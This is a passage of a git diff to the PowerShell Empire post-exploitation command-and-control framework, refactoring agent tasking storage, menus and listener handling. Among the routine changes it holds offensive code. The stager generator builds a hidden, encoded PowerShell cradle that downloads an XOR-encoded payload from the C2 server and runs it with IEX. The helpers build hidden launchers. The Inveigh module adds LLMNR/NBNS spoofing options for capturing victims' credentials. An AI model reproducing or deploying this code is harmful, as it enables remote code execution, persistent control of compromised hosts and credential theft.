? WHERE session_id=?", [json.dumps(agentResults),sessionID]) + cur.close() else: dispatcher.send("[!] Non-existent agent " + str(sessionID) + " returned results", sender="Agents") @@ -615,8 +633,8 @@ def update_agent_profile(self, sessionID, profile): cur = self.conn.cursor() # get the existing URIs from the agent and save them to - # the old_uris field, so we can ensure that it can check in - # to get the new URI tasking... bootstrapping problem :) + # the old_uris field, so we can ensure that it can check in + # to get the new URI tasking... bootstrapping problem :) cur.execute("SELECT uris FROM agents WHERE session_id=?", [sessionID]) oldURIs = cur.fetchone()[0] @@ -624,9 +642,8 @@ def update_agent_profile(self, sessionID, profile): print helpers.color("[!] Agent " + agentName + " not active.") else: # update the URIs in the cache - self.agents[sessionID][-1] = oldURIs - # new URIs - self.agents[sessionID][-2] = parts[0] + self.agents[sessionID]['oldURIs'] = oldURIs + self.agents[sessionID]['currentURIs'] = parts[0] # if no additional headers if len(parts) == 2: @@ -643,6 +660,10 @@ def rename_agent(self, oldname, newname): Update the agent's last seen timestamp. """ + if not newname.isalnum(): + print helpers.color("[!] Only alphanumeric characters allowed for names.") + return False + # rename the logging/downloads folder oldPath = self.installPath + "/downloads/"+str(oldname)+"/" newPath = self.installPath + "/downloads/"+str(newname)+"/" @@ -696,7 +717,7 @@ def set_agent_functions(self, sessionID, functions): if nameid : sessionID = nameid if sessionID in self.agents: - self.agents[sessionID][3] = functions + self.agents[sessionID]['functions'] = functions functions = ",".join(functions) @@ -756,8 +777,22 @@ def add_agent_task(self, sessionID, taskName, task=""): print helpers.color("[!] Agent " + str(agentName) + " not active.") else: if sessionID: + dispatcher.send("[*] Tasked " + str(sessionID) + " to run " + str(taskName), sender="Agents") - self.agents[sessionID][1].append([taskName, task]) + + # get existing agent taskings + cur = self.conn.cursor() + cur.execute("SELECT taskings FROM agents WHERE session_id=?", [sessionID]) + agentTasks = cur.fetchone() + + if(agentTasks and agentTasks[0]): + agentTasks = json.loads(agentTasks[0]) + else: + agentTasks = [] + + # append our new json-ified task and update the backend + agentTasks.append([taskName, task]) + cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agentTasks),sessionID]) # write out the last tasked script to "LastTask.ps1" if in debug mode if self.args and self.args.debug: @@ -766,8 +801,7 @@ def add_agent_task(self, sessionID, taskName, task=""): f.close() # report the agent tasking in the reporting database - cur = self.conn.cursor() - cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (sessionID,"task",taskName + " - " + task[0:30],helpers.get_datetime())) + cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (sessionID,"task",taskName + " - " + task[0:50],helpers.get_datetime())) cur.close() @@ -786,47 +820,37 @@ def get_agent_tasks(self, sessionID): print helpers.color("[!] Agent " + str(agentName) + " not active.") return [] else: - tasks = self.agents[sessionID][1] - # clear the taskings out - self.agents[sessionID][1] = [] - return tasks + cur = self.conn.cursor() + cur.execute("SELECT taskings FROM agents WHERE session_id=?", [sessionID]) + tasks = cur.fetchone() - def get_agent_task(self, sessionID): - """ - Pop off the agent's top task. - """ + if(tasks and tasks[0]): + tasks = json.loads(tasks[0]) - # see if we were passed a name instead of an ID - nameid = self.get_agent_id(sessionID) - if nameid : sessionID = nameid + # clear the taskings out + cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", ['', sessionID]) + else: + tasks = [] - try: - # pop the first task off the front of the stack - return self.agents[sessionID][1].pop(0) - except: - [] + cur.close() + + return tasks def clear_agent_tasks(self, sessionID): """ - Clear out the agent's task buffer. + Clear out one (or all) agent's task buffer. """ agentName = sessionID if sessionID.lower() == "all": - for option,values in self.agents.iteritems(): - self.agents[option][1] = [] - else: - # see if we were passed a name instead of an ID - nameid = self.get_agent_id(sessionID) - if nameid : sessionID = nameid + sessionID = '%' - if sessionID not in self.agents: - print helpers.color("[!] Agent " + agentName + " not active.") - else: - self.agents[sessionID][1] = [] + cur = self.conn.cursor() + cur.execute("UPDATE agents SET taskings=? WHERE session_id LIKE ?", ['', sessionID]) + cur.close() def handle_agent_response(self, sessionID, responseName, data): @@ -1122,7 +1146,7 @@ def process_get(self, port, clientIP, sessionID, resource): allTaskPackets += taskPacket # get the session key for the agent - sessionKey = self.agents[sessionID][0] + sessionKey = self.agents[sessionID]['sessionKey'] # encrypt the tasking packets with the agent's session key encryptedData = encryption.aes_encrypt_then_mac(sessionKey, allTaskPackets) @@ -1199,7 +1223,7 @@ def process_post(self, port, clientIP, sessionID, resource, postData): else: # extract the agent's session key - sessionKey = self.agents[sessionID][0] + sessionKey = self.agents[sessionID]['sessionKey'] try: # verify, decrypt and depad the packet @@ -1241,7 +1265,7 @@ def process_post(self, port, clientIP, sessionID, resource, postData): return (404, "") except Exception as e: - dispatcher.send("[!] Error processing result packet from "+str(sessionID), sender="Agents") + dispatcher.send("[!] Error processing result packet from %s : %s" %(str(sessionID),e), sender="Agents") return (404, "") @@ -1330,7 +1354,7 @@ def process_post(self, port, clientIP, sessionID, resource, postData): lostLimit = config[11] # get the session key for the agent - sessionKey = self.agents[sessionID][0] + sessionKey = self.agents[sessionID]['sessionKey'] try: # decrypt and parse the agent's sysinfo checkin @@ -1345,6 +1369,8 @@ def process_post(self, port, clientIP, sessionID, resource, postData): self.remove_agent(sessionID) return (404, "") + dispatcher.send("[!] Agent %s posted valid sysinfo checkin format: %s" %(sessionID, data), sender="Agents") + listener = parts[0].encode('ascii','ignore') domainname = parts[1].encode('ascii','ignore') username = parts[2].encode('ascii','ignore') diff --git a/lib/common/empire.py b/lib/common/empire.py index 57a63e227..4962ada86 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -9,7 +9,7 @@ """ # make version for Empire -VERSION = "1.4.1" +VERSION = "1.5.0" from pydispatch import dispatcher @@ -39,7 +39,7 @@ class NavListeners(Exception): pass class MainMenu(cmd.Cmd): - def __init__(self, args=None): + def __init__(self, args=None, restAPI=False): cmd.Cmd.__init__(self) @@ -49,42 +49,8 @@ def __init__(self, args=None): # empty database object self.conn = self.database_connect() - # grab the universal install path - # TODO: combine these into one query - cur = self.conn.cursor() - cur.execute("SELECT install_path FROM config") - self.installPath = cur.fetchone()[0] - cur.close() - - # pull out the stage0 uri - cur = self.conn.cursor() - cur.execute("SELECT stage0_uri FROM config") - self.stage0 = cur.fetchone()[0] - cur.close() - - # pull out the stage1 uri - cur = self.conn.cursor() - cur.execute("SELECT stage1_uri FROM config") - self.stage1 = cur.fetchone()[0] - cur.close() - - # pull out the stage2 uri - cur = self.conn.cursor() - cur.execute("SELECT stage2_uri FROM config") - self.stage2 = cur.fetchone()[0] - cur.close() - - # pull out the IP whitelist and create it, if applicable - cur = self.conn.cursor() - cur.execute("SELECT ip_whitelist FROM config") - self.ipWhiteList = helpers.generate_ip_list(cur.fetchone()[0]) - cur.close() - - # pull out the IP blacklist and create it, if applicable - cur = self.conn.cursor() - cur.execute("SELECT ip_blacklist FROM config") - self.ipBlackList = helpers.generate_ip_list(cur.fetchone()[0]) - cur.close() + # pull out some common configuration information + (self.installPath, self.stage0, self.stage1, self.stage2, self.ipWhiteList, self.ipBlackList) = helpers.get_config('install_path,stage0_uri,stage1_uri,stage2_uri,ip_whitelist,ip_blacklist') # instantiate the agents, listeners, and stagers objects self.agents = agents.Agents(self, args=args) @@ -94,7 +60,6 @@ def __init__(self, args=None): self.credentials = credentials.Credentials(self, args=args) # make sure all the references are passed after instantiation - # TODO: replace these with self? self.agents.listeners = self.listeners self.agents.modules = self.modules self.agents.stagers = self.stagers @@ -116,8 +81,9 @@ def __init__(self, args=None): self.args = args self.handle_args() - # start everything up normally - self.startup() + # start everything up normally if the RESTful API isn't being launched + if not restAPI: + self.startup() def handle_args(self): @@ -252,7 +218,7 @@ def cmdloop(self): else: num_modules = 0 - num_listeners = self.listeners.listeners + num_listeners = self.listeners.get_listeners() if(num_listeners): num_listeners = len(num_listeners) else: @@ -289,6 +255,10 @@ def cmdloop(self): except NavListeners as e: self.menu_state = "Listeners" + except Exception as e: + print helpers.color("[!] Exception: %s" %(e)) + time.sleep(5) + # print a nicely formatted help menu # stolen/adapted from recon-ng @@ -407,6 +377,7 @@ def do_usestager(self, line): except Exception as e: raise e + def do_usemodule(self, line): "Use an Empire module." if line not in self.modules.modules: @@ -418,6 +389,7 @@ def do_usemodule(self, line): except Exception as e: raise e + def do_searchmodule(self, line): "Search Empire module names/descriptions." self.modules.search_modules(line.strip()) @@ -581,6 +553,15 @@ def do_show(self, line): print self.agents.ipBlackList + def do_load(self, line): + "Loads Empire modules from a non-standard folder." + + if line.strip() == '' or not os.path.isdir(line.strip()): + print "\n" + helpers.color("[!] Please specify a valid folder to load modules from.") + "\n" + else: + self.modules.load_modules(rootPath=line.strip()) + + def do_reload(self, line): "Reload one (or all) Empire modules." @@ -588,6 +569,9 @@ def do_reload(self, line): # reload all modules print "\n" + helpers.color("[*] Reloading all modules.") + "\n" self.modules.load_modules() + elif os.path.isdir(line.strip()): + # if we're loading an external directory + self.modules.load_modules(rootPath=line.strip()) else: if line.strip() not in self.modules.modules: print helpers.color("[!] Error: invalid module") @@ -706,6 +690,11 @@ def complete_set(self, text, line, begidx, endidx): return [s[offs:] for s in options if s.startswith(mline)] + def complete_load(self, text, line, begidx, endidx): + "Tab-complete a module load path." + return helpers.complete_path(text,line) + + def complete_reset(self, text, line, begidx, endidx): "Tab-complete a global option." @@ -748,7 +737,7 @@ def __init__(self, mainMenu): # traceback.print_stack() # print a nicely formatted help menu - # stolen/adapted from recon-ng + # stolen/adapted from recon-ng def print_topics(self, header, cmds, cmdlen, maxcol): if cmds: self.stdout.write("%s\n"%str(header)) @@ -763,8 +752,13 @@ def emptyline(self): pass def do_back(self, line): - "Return back a menu." - return True + "Go back to the main menu." + raise NavMain() + + + def do_listeners(self, line): + "Jump to the listeners menu." + raise NavListeners() def do_main(self, line): @@ -796,8 +790,6 @@ def do_rename(self, line): # name sure we get an old name and new name for the agent if len(parts) == 2: # replace the old name with the new name - oldname = parts[0] - newname = parts[1] self.mainMenu.agents.rename_agent(parts[0], parts[1]) else: print helpers.color("[!] Please enter an agent name and new name") @@ -1107,11 +1099,6 @@ def do_remove(self, line): print helpers.color("[!] Invalid agent name") - def do_listeners(self, line): - "Jump to the listeners menu." - raise NavListeners() - - def do_usestager(self, line): "Use an Empire stager." @@ -1334,9 +1321,9 @@ def do_back(self, line): return True - def do_main(self, line): - "Go back to the main menu." - raise NavMain() + def do_agents(self, line): + "Jump to the Agents menu." + raise NavAgents() def do_listeners(self, line): @@ -1344,9 +1331,9 @@ def do_listeners(self, line): raise NavListeners() - def do_agents(self, line): - "Jump to the Agents menu." - raise NavAgents() + def do_main(self, line): + "Go back to the main menu." + raise NavMain() def do_help(self, *args): @@ -1538,7 +1525,6 @@ def do_workinghours(self, line): self.mainMenu.agents.save_agent_log(self.sessionID, msg) - def do_shell(self, line): "Task an agent to use a shell command." @@ -2042,11 +2028,6 @@ def print_topics(self, header, cmds, cmdlen, maxcol): def emptyline(self): pass - def do_exit(self, line): - "Exit Empire." - raise KeyboardInterrupt - - def do_list(self, line): "List all active listeners (or agents)." @@ -2059,8 +2040,13 @@ def do_list(self, line): def do_back(self, line): - "Go back a menu." - return True + "Go back to the main menu." + raise NavMain() + + + def do_agents(self, line): + "Jump to the Agents menu." + raise NavAgents() def do_main(self, line): @@ -2068,6 +2054,11 @@ def do_main(self, line): raise NavMain() + def do_exit(self, line): + "Exit Empire." + raise KeyboardInterrupt + + def do_set(self, line): "Set a listener option." parts = line.split(" ") @@ -2158,11 +2149,6 @@ def do_run(self, line): self.do_execute(line) - def do_agents(self, line): - "Jump to the Agents menu." - raise NavAgents() - - def do_usestager(self, line): "Use an Empire stager." @@ -2330,7 +2316,6 @@ def validate_options(self): print helpers.color("[!] Error: module requires PS version "+str(modulePSVersion)+" but agent running PS version "+str(agentPSVersion)) return False except Exception as e: - print "exception: ",e print helpers.color("[!] Invalid module or agent PS version!") return False @@ -2370,6 +2355,11 @@ def print_topics(self, header, cmds, cmdlen, maxcol): self.stdout.write("\n") + def do_back(self, line): + "Go back a menu." + return True + + def do_agents(self, line): "Jump to the Agents menu." raise NavAgents() @@ -2380,16 +2370,16 @@ def do_listeners(self, line): raise NavListeners() + def do_main(self, line): + "Go back to the main menu." + raise NavMain() + + def do_exit(self, line): "Exit Empire." raise KeyboardInterrupt - def do_main(self, line): - "Return to the main menu." - return True - - def do_list(self, line): "Lists all active agents (or listeners)." @@ -2422,16 +2412,6 @@ def do_options(self, line): messages.display_module(self.moduleName, self.module) - def do_back(self, line): - "Return to the main menu." - return True - - - def do_main(self, line): - "Go back to the main menu." - raise NavMain() - - def do_set(self, line): "Set a module option." @@ -2703,14 +2683,29 @@ def print_topics(self, header, cmds, cmdlen, maxcol): self.stdout.write("\n") - def do_exit(self, line): - "Exit Empire." - raise KeyboardInterrupt + def do_back(self, line): + "Go back a menu." + return True + + + def do_agents(self, line): + "Jump to the Agents menu." + raise NavAgents() + + + def do_listeners(self, line): + "Jump to the listeners menu." + raise NavListeners() def do_main(self, line): - "Return to the main menu." - return True + "Go back to the main menu." + raise NavMain() + + + def do_exit(self, line): + "Exit Empire." + raise KeyboardInterrupt def do_list(self, line): @@ -2734,16 +2729,6 @@ def do_options(self, line): messages.display_stager(self.stagerName, self.stager) - def do_back(self, line): - "Return to the main menu." - return True - - - def do_main(self, line): - "Go back to the main menu." - raise NavMain() - - def do_set(self, line): "Set a stager option." @@ -2826,7 +2811,6 @@ def do_generate(self, line): def do_execute(self, line): "Generate/execute the given Empire stager." - self.do_generate(line) @@ -2862,13 +2846,3 @@ def complete_unset(self, text, line, begidx, endidx): mline = line.partition(' ')[2] offs = len(mline) - len(text) return [s[offs:] for s in options if s.startswith(mline)] - - - def do_agents(self, line): - "Jump to the Agents menu." - raise NavAgents() - - - def do_listeners(self, line): - "Jump to the listeners menu." - raise NavListeners() diff --git a/lib/common/helpers.py b/lib/common/helpers.py index 5151ad731..a11351e25 100644 --- a/lib/common/helpers.py +++ b/lib/common/helpers.py @@ -7,18 +7,9 @@ """ +import re, string, commands, base64, binascii, sys, os, socket, sqlite3, iptools from time import localtime, strftime from Crypto.Random import random -import re -import string -import commands -import base64 -import binascii -import sys -import os -import socket -import sqlite3 -import iptools ############################################################### @@ -171,7 +162,7 @@ def powershell_launcher(raw): # encode the data into a form usable by -enc encCMD = enc_powershell(raw) - return "powershell.exe -NoP -NonI -W Hidden -Enc " + encCMD + return "powershell.exe -NoP -sta -NonI -W Hidden -Enc " + encCMD def parse_powershell_script(data): @@ -224,7 +215,7 @@ def get_dependent_functions(code, functionNames): if re.search("[^A-Za-z']+"+functionName+"[^A-Za-z']+", code, re.IGNORECASE): dependentFunctions.add(functionName) - if re.search("\$Netapi32|\$Advapi32|\$Kernel32\$Wtsapi32", code, re.IGNORECASE): + if re.search("\$Netapi32|\$Advapi32|\$Kernel32|\$Wtsapi32", code, re.IGNORECASE): dependentFunctions |= set(["New-InMemoryModule", "func", "Add-Win32Type", "psenum", "struct"]) return dependentFunctions @@ -269,11 +260,11 @@ def find_all_dependent_functions(functions, functionsToProcess, resultFunctions= return resultFunctions -def generate_dynamic_powershell_script(script, functionName): +def generate_dynamic_powershell_script(script, functionNames): """ - Takes a PowerShell script and a function name, generates a dictionary - of "[functionName] -> functionCode", and recurisvely maps all - dependent functions for the specified function name. + Takes a PowerShell script and a function name (or array of function names, + generates a dictionary of "[functionNames] -> functionCode", and recursively + maps all dependent functions for the specified function name. A script is returned with only the code necessary for the given functionName, stripped of comments and whitespace. @@ -285,9 +276,13 @@ def generate_dynamic_powershell_script(script, functionName): newScript = "" psreflect_functions = ["New-InMemoryModule", "func", "Add-Win32Type", "psenum", "struct"] + if type(functionNames) is not list: + functionNames = [functionNames] + # build a mapping of functionNames -> stripped function code functions = {} - pattern = re.compile(r'\nfunction.*?{.*?\n}\n', re.DOTALL) + # pattern = re.compile(r'\nfunction.*?{.*?\n}\n', re.DOTALL) + pattern = re.compile(r'\n(?:function|filter).*?{.*?\n}\n', re.DOTALL) for match in pattern.findall(script): name = match[:40].split()[1] @@ -295,7 +290,11 @@ def generate_dynamic_powershell_script(script, functionName): # recursively enumerate all possible function dependencies and # start building the new result script - functionDependencies = find_all_dependent_functions(functions, functionName, []) + functionDependencies = [] + + for functionName in functionNames: + functionDependencies += find_all_dependent_functions(functions, functionName, []) + functionDependencies = unique(functionDependencies) for functionDependency in functionDependencies: try: @@ -493,7 +492,7 @@ def get_config(fields): conn.isolation_level = None cur = conn.cursor() - cur.execute("SELECT "+fields+" FROM config") + cur.execute("SELECT %s FROM config" %(fields)) results = cur.fetchone() cur.close() conn.close() @@ -614,14 +613,6 @@ def uniquify_tuples(tuples): return [item for item in tuples if "%s%s%s%s"%(item[0],item[1],item[2],item[3]) not in seen and not seen.add("%s%s%s%s"%(item[0],item[1],item[2],item[3]))] -def urldecode(url): - """ - URL decode a string. - """ - rex=re.compile('%([0-9a-hA-H][0-9a-hA-H])',re.M) - return rex.sub(htc,url) - - def decode_base64(data): """ Try to decode a base64 string. diff --git a/lib/common/http.py b/lib/common/http.py index 1620a155b..c50480417 100644 --- a/lib/common/http.py +++ b/lib/common/http.py @@ -111,17 +111,18 @@ def do_POST(self): dispatcher.send("[*] Post to "+resource+" from "+str(sessionID)+" at "+clientIP, sender="HttpHandler") # read in the length of the POST data - length = int(self.headers.getheader('content-length')) - postData = self.rfile.read(length) - - # get the appropriate response for this agent - (code, responsedata) = self.server.agents.process_post(self.server.server_port, clientIP, sessionID, resource, postData) - - # write the response out - self.send_response(code) - self.end_headers() - self.wfile.write(responsedata) - self.wfile.flush() + if self.headers.getheader('content-length'): + length = int(self.headers.getheader('content-length')) + postData = self.rfile.read(length) + + # get the appropriate response for this agent + (code, responsedata) = self.server.agents.process_post(self.server.server_port, clientIP, sessionID, resource, postData) + + # write the response out + self.send_response(code) + self.end_headers() + self.wfile.write(responsedata) + self.wfile.flush() # self.wfile.close() # causes an error with HTTP comms # supress all the stupid default stdout/stderr output diff --git a/lib/common/listeners.py b/lib/common/listeners.py index a2768c46b..f15c1bf9f 100644 --- a/lib/common/listeners.py +++ b/lib/common/listeners.py @@ -179,6 +179,7 @@ def set_listener_option(self, option, value): self.options['Host']['Value'] = value if self.options['CertPath']['Value'] == "": print helpers.color("[!] Error: Please specify a SSL cert path first") + return False else: parts = value.split(":") # check if we have a port to extract @@ -188,7 +189,7 @@ def set_listener_option(self, option, value): self.options['Port']['Value'] = parts[0] else: self.options['Port']['Value'] = "443" - pass + elif value.startswith("http"): self.options['Host']['Value'] = value parts = value.split(":") @@ -200,12 +201,15 @@ def set_listener_option(self, option, value): else: self.options['Port']['Value'] = "80" + return True + elif option == "CertPath": self.options[option]['Value'] = value host = self.options["Host"]['Value'] # if we're setting a SSL cert path, but the host is specific at http if host.startswith("http:"): self.options["Host"]['Value'] = self.options["Host"]['Value'].replace("http:", "https:") + return True elif option == "Port": self.options[option]['Value'] = value @@ -214,11 +218,13 @@ def set_listener_option(self, option, value): parts = host.split(":") if len(parts) == 2 or len(parts) == 3: self.options["Host"]['Value'] = parts[0] + ":" + parts[1] + ":" + str(value) + return True elif option == "StagingKey": # if the staging key isn't 32 characters, assume we're md5 hashing it if len(value) != 32: self.options[option]['Value'] = hashlib.md5(value).hexdigest() + return True elif option in self.options: @@ -228,8 +234,11 @@ def set_listener_option(self, option, value): # set the profile for hop.php for hop parts = self.options['DefaultProfile']['Value'].split("|") self.options['DefaultProfile']['Value'] = "/hop.php|" + "|".join(parts[1:]) + return True + else: print helpers.color("[!] Error: invalid option name") + return False def get_listener_options(self): @@ -404,7 +413,7 @@ def get_staging_information(self, listenerId=None, port=None, host=None): if(listenerId): cur = self.conn.cursor() - cur.execute('SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners WHERE id=? or name=? limit 1', [listenerID, listenerID]) + cur.execute('SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners WHERE id=? or name=? limit 1', [listenerId, listenerId]) stagingInformation = cur.fetchone() cur.close() @@ -426,7 +435,7 @@ def get_staging_information(self, listenerId=None, port=None, host=None): def get_stager_config(self, listenerID): """ - Returns the (host, pivotServer, hop) information for this listener. + Returns the (server, stagingKey, pivotServer, hop, defaultDelay) information for this listener. Used in stagers.py to generate the various stagers. """ @@ -440,6 +449,7 @@ def get_stager_config(self, listenerID): port = listener[3] certPath = listener[4] stagingKey = listener[5] + defaultDelay = listener[6] listenerType = listener[11] redirectTarget = listener[12] hop = False @@ -464,7 +474,7 @@ def get_stager_config(self, listenerID): elif listenerType == "hop": hop = True - return (host, stagingKey, pivotServer, hop) + return (host, stagingKey, pivotServer, hop, defaultDelay) else: print helpers.color("[!] Error in listeners.get_stager_config(): no listener information returned") @@ -551,6 +561,7 @@ def add_listener_from_config(self): cur.close() self.listeners[result[0]] = None + return True else: # start up the server object @@ -572,11 +583,19 @@ def add_listener_from_config(self): cur.close() # store off this server in the "[id] : server" object array - # only if the server starts up correctly + # only if the server starts up correctly self.listeners[result[0]] = server + return True + else: + return False + + else: + print helpers.color("[!] Error starting listener on port %s" %(port)) + return False else: print helpers.color("[!] Required listener option missing.") + return False def add_pivot_listener(self, listenerName, sessionID, listenPort): diff --git a/lib/common/messages.py b/lib/common/messages.py index 40b6646af..96f81534b 100644 --- a/lib/common/messages.py +++ b/lib/common/messages.py @@ -124,7 +124,7 @@ def agent_print (agents): print " --------- ----------- ------------ --------- ------- ----- --------------------" for agent in agents: - [ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, lost_limit] = agent + [ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, lost_limit, taskings, results] = agent if str(high_integrity) == "1": # add a * to the username if it's high integrity username = "*" + username @@ -160,7 +160,7 @@ def display_agent(agent): """ # extract out database fields. - keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version", "lost_limit"] + keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version", "lost_limit", "takings", "results"] print helpers.color("\n[*] Agent info:\n") @@ -168,7 +168,7 @@ def display_agent(agent): agentInfo = dict(zip(keys, agent)) for key in agentInfo: - if key != "functions": + if key != "functions" and key != "takings" and key != "results": print "\t%s\t%s" % (helpers.color('{0: <16}'.format(key), "blue"), wrap_string(agentInfo[key], width=70)) print "" diff --git a/lib/common/modules.py b/lib/common/modules.py index df44c4cde..11a52346c 100644 --- a/lib/common/modules.py +++ b/lib/common/modules.py @@ -39,13 +39,17 @@ def __init__(self, MainMenu, args): self.load_modules() - def load_modules(self): + def load_modules(self, rootPath=''): """ - Load modules from the install + "/lib/modules/*" path + Load Empire modules from a specified path, default to + installPath + "/lib/modules/*" """ - rootPath = self.installPath + 'lib/modules/' + if rootPath == '': + rootPath = self.installPath + 'lib/modules/' + pattern = '*.py' + print helpers.color("[*] Loading modules from: %s" %(rootPath)) for root, dirs, files in os.walk(rootPath): for filename in fnmatch.filter(files, pattern): @@ -53,11 +57,12 @@ def load_modules(self): # don't load up the template if filename == "template.py": continue - + # extract just the module name from the full path - moduleName = filePath.split("/lib/modules/")[-1][0:-3] + moduleName = filePath.split(rootPath)[-1][0:-3] - # TODO: extract and CLI arguments and pass onto the modules + if rootPath != self.installPath + 'lib/modules/': + moduleName = "external/%s" %(moduleName) # instantiate the module and save it to the internal cache self.modules[moduleName] = imp.load_source(moduleName, filePath).Module(self.mainMenu, []) diff --git a/lib/common/packets.py b/lib/common/packets.py index 67e385d02..82787f81c 100644 --- a/lib/common/packets.py +++ b/lib/common/packets.py @@ -83,10 +83,10 @@ def get_counter(): def validate_counter(counter): """ Validates a counter ensuring it's in a sliding window. - Window is +/- 10 minutes (600 seconds). + Window is +/- 12 hours (43200 seconds) """ currentTime = int(time.time()) - return (currentTime-600) <= counter <= (currentTime+600) + return (currentTime-43200) <= counter <= (currentTime+43200) def build_task_packet(taskName, data): diff --git a/lib/common/stagers.py b/lib/common/stagers.py index a68e11dfb..54aa03877 100644 --- a/lib/common/stagers.py +++ b/lib/common/stagers.py @@ -278,7 +278,7 @@ def generate_launcher_uri(self, server, encode=True, pivotServer="", hop=False): return server + checksum - def generate_launcher(self, listenerName, encode=True, userAgent="default", proxy="default", proxyCreds="default"): + def generate_launcher(self, listenerName, encode=True, userAgent="default", proxy="default", proxyCreds="default", stagerRetries="0"): """ Generate the initial IEX download cradle with a specified c2 server and a valid HTTP checksum. @@ -300,7 +300,7 @@ def generate_launcher(self, listenerName, encode=True, userAgent="default", prox return "" # extract the staging information from this specified listener - (server, stagingKey, pivotServer, hop) = self.mainMenu.listeners.get_stager_config(listenerName) + (server, stagingKey, pivotServer, hop, defaultDelay) = self.mainMenu.listeners.get_stager_config(listenerName) # if UA is 'default', use the UA from the default profile in the database if userAgent.lower() == "default": @@ -339,9 +339,16 @@ def generate_launcher(self, listenerName, encode=True, userAgent="default", prox # the stub to decode the encrypted stager download by XOR'ing with the staging key stager += helpers.randomize_capitalization("$K=") stager += "'"+stagingKey+"';" - stager += helpers.randomize_capitalization("$i=0;[char[]]$b=([char[]]($wc.DownloadString(\"") - stager += URI - stager += helpers.randomize_capitalization("\")))|%{$_-bXor$k[$i++%$k.Length]};IEX ($b-join'')") + + if(stagerRetries == "0"): + stager += helpers.randomize_capitalization("$i=0;[char[]]$b=([char[]]($wc.DownloadString(\"") + stager += URI + stager += helpers.randomize_capitalization("\")))|%{$_-bXor$k[$i++%$k.Length]};IEX ($b-join'')") + else: + # if there are a stager retries + stager += helpers.randomize_capitalization("$R=%s;do{try{$i=0;[cHAR[]]$B=([cHAR[]]($WC.DoWNLOadSTriNg(\"" %(stagerRetries)) + stager += URI + stager += helpers.randomize_capitalization("\")))|%{$_-bXor$k[$i++%$k.Length]};IEX ($b-join''); $R=0;}catch{sleep "+str(defaultDelay)+";$R--}} while ($R -gt 0)") # base64 encode the stager and return it if encode: diff --git a/lib/modules/collection/inveigh.py b/lib/modules/collection/inveigh.py index 6fcfa2808..ce29fd3f4 100644 --- a/lib/modules/collection/inveigh.py +++ b/lib/modules/collection/inveigh.py @@ -9,9 +9,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['Kevin Robertson'], - 'Description': ('Inveigh is a Windows PowerShell LLMNR/NBNS spoofer designed to ' - 'assist penetration testers that find themselves limited to a ' - 'Windows system. '), + 'Description': ('Inveigh is a Windows PowerShell LLMNR/NBNS spoofer/man-in-the-middle tool.'), 'Background' : True, @@ -38,44 +36,104 @@ def __init__(self, mainMenu, params=[]): 'Value' : '' }, 'IP' : { - 'Description' : 'Specific local IP address for listening.', + 'Description' : 'Specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the SpooferIP parameter is not set.', 'Required' : False, 'Value' : '' }, 'SpooferIP' : { - 'Description' : 'Specific IP address for LLMNR/NBNS spoofing.', + 'Description' : 'Specific IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host.', 'Required' : False, 'Value' : '' + }, + 'SpooferHostsReply' : { + 'Description' : 'Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferHostsIgnore' : { + 'Description' : 'Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferIPsReply' : { + 'Description' : 'Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferIPsIgnore' : { + 'Description' : 'Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferRepeat' : { + 'Description' : 'Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured (Y/N).', + 'Required' : False, + 'Value' : 'Y' }, 'LLMNR' : { 'Description' : 'Enable/Disable LLMNR spoofing (Y/N).', 'Required' : False, 'Value' : 'Y' + }, + 'LLMNRTTL' : { + 'Description' : 'Custom LLMNR TTL in seconds for the response packet.', + 'Required' : False, + 'Value' : '' }, 'NBNS' : { 'Description' : 'Enable/Disable NBNS spoofing (Y/N).', 'Required' : False, 'Value' : 'Y' + }, + 'NBNSTTL' : { + 'Description' : 'Custom NBNS TTL in seconds for the response packet.', + 'Required' : False, + 'Value' : '' }, 'NBNSTypes' : { 'Description' : 'Comma separated list of NBNS types to spoof.', 'Required' : False, 'Value' : '00,20' }, - 'Repeat' : { - 'Description' : 'Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured (Y/N).', + 'HTTP' : { + 'Description' : 'Enable/Disable HTTP challenge/response capture (Y/N).', 'Required' : False, 'Value' : 'Y' }, - 'SpoofList' : { - 'Description' : 'Comma separated list of hostnames to spoof with LLMNR and NBNS.', + 'HTTPAuth' : { + 'Description' : 'HTTP server authentication type. This setting 